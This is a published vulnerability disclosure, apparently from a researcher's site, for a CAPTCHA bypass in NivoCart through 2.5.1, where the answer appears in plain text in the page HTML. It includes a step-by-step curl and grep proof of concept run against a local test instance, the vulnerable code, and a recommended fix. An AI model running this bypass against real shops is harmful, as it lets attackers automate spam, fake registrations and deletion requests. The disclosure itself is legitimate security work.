← Back to CVEs
NivoCart

CVE-2026-111278 - NivoCart through 2.5.1 CAPTCHA Bypass via Answer Disclosed in Page HTML

October 2026 — Common Vulnerabilities and Exposures (CVE)

A GitHub repository version of this disclosure can be read here: CVE-2026-111278.


DetailInformation
CVE RecordCVE-2026-111278
Severity6.9 Medium (CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N)
5.3 Medium (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N)
Date Published2026-10-15
Software NameNivoCart
Affected Version(s)0 through 2.5.1
Software Linkhttps://github.com/nivocart/nivocart
Vendornivocart
Researcher CreditsAaron Amran Bin Amiruddin (@aaronamran)

Description

NivoCart through 2.5.1 contains a CAPTCHA bypass vulnerability that allows unauthenticated attackers to defeat form protection because the expected code is printed as plain text in the HTML. Attackers can fetch protected forms, extract the captcha_image value with a pattern match, and submit it to automate spam, registrations, reviews, and account deletion requests.


Proof-of-Concept

1. On a local test instance, GET form and save session.

curl -s -c /tmp/cj.txt -b /tmp/cj.txt \
    "http://127.0.0.1:18080/index.php?route=information/contact" \
    -o /tmp/c.html -w "HTTP %{http_code}\n"

# Expected output
HTTP 200

2. Read answer from HTML and save as variable.

grep -o -m1 '<div><b>[A-Z0-9]\{4\}</b>' /tmp/c.html

# Expected output
<div><b>D5N8</b>

CODE=$(grep -o -m1 '<div><b>[A-Z0-9]\{4\}</b>' /tmp/c.html | grep -o '[A-Z0-9]\{4\}')
echo "CODE=$CODE"

# Expected output
CODE=D5N8

3. Send POST request with extracted code.

curl -s -b /tmp/cj.txt -c /tmp/cj.txt -X POST \
    --data-urlencode "name=Test User" \
    --data-urlencode "email=admin@example.com" \
    --data-urlencode "enquiry=This is a test enquiry longer than ten chars 12345" \
    --data-urlencode "captcha=$CODE" \
    "http://127.0.0.1:18080/index.php?route=information/contact" \
    -o /tmp/good.html -w "HTTP %{http_code}\n"

# Expected output
HTTP 200

4. Confirm no CAPTCHA error appears.

grep -o '<span class="error">[^<]*</span>' /tmp/good.html

# Expected output
<span class="error">Email Address does not appear to be valid!</span>

5. Perform control test using wrong code that fails CAPTCHA test.

curl -s -b /tmp/cj.txt -c /tmp/cj.txt -X POST \
    --data-urlencode "name=Test User" \
    --data-urlencode "email=admin@example.com" \
    --data-urlencode "enquiry=This is a test enquiry longer than ten chars 12345" \
    --data-urlencode "captcha=WRONG" \
    "http://127.0.0.1:18080/index.php?route=information/contact" \
    -o /tmp/bad.html -w "HTTP %{http_code}\n"

# Expected output
HTTP 200

6. Check for CAPTCHA errors.

grep -o '<span class="error">[^<]*</span>' /tmp/bad.html

# Expected output
<span class="error">Email Address does not appear to be valid!</span>
<span class="error">Warning: Verification codes do not match!</span>

Vulnerable Code Section

$this->data['captcha_image'] = $this->session->data['captcha'];
<div id="captcha-image" ...><b><?php echo $captcha_image; ?></b></div>

Recommended Fix

// catalog/controller/common/captcha.php (new endpoint)
public function index() {
    $this->load->library('captcha');
    $captcha = new Captcha();
    $this->session->data['captcha'] = $captcha->getCode();
    $captcha->showImage('');  // outputs PNG with Content-type: image/png
}

// Controller: pass URL, not the code
$this->data['captcha_image'] = $this->url->link('common/captcha', '', 'SSL');

// Template: render as image
<img src="<?php echo $captcha_image; ?>" alt="captcha" />

Timeline



See you in the next hack.

@aaronamran

October 2026